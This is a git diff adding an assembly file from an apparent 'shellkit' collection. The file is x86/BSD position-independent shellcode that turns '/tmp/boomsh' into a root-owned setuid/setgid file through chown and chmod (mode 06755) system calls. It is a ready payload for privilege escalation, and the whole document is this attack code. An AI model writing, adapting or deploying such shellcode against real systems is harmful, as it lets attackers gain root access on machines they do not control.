initial

1 files changed, 43 insertions, 0 deletions

diff --git a/other/shellkit/x86_bsd/FIXME_chmod.s b/other/shellkit/x86_bsd/FIXME_chmod.s
new file mode 100644
index 0000000..6f19d23
--- /dev/null
+++ b/other/shellkit/x86_bsd/FIXME_chmod.s
@@ -0,0 +1,43 @@
+/* x86/BSD PIC local chmod code
+ *
+ * by stealth
+ */
+
+        .globl cbegin
+        .globl cend
+
+cbegin:
+        jmp     boomsh
+
+foo:    popl    %ebx
+        incl    (%ebx)
+        incl    4(%ebx)
+        
+        xorl    %eax, %eax
+        movb    %al, 11(%ebx)
+        
+        movb    $16, %al        /* chown */
+        xorl    %ecx, %ecx
+        pushl   %ecx
+        pushl   %ecx
+        pushl   %ebx
+        pushl   $1
+sys_1:  int     $0x80
+        
+        xorl    %eax, %eax      /* chmod */
+        movb    $15, %al
+        pushw   $06755
+        pushl   %ebx
+        pushl   $1
+sys_2:  int     $0x80
+        
+        xorl    %eax, %eax
+        incl    %eax            /* exit */
+        pushl   $1
+sys_3:  int     $0x80
+
+boomsh: call foo
+        .string ".tmp.boomsh.";
+cend:
+
+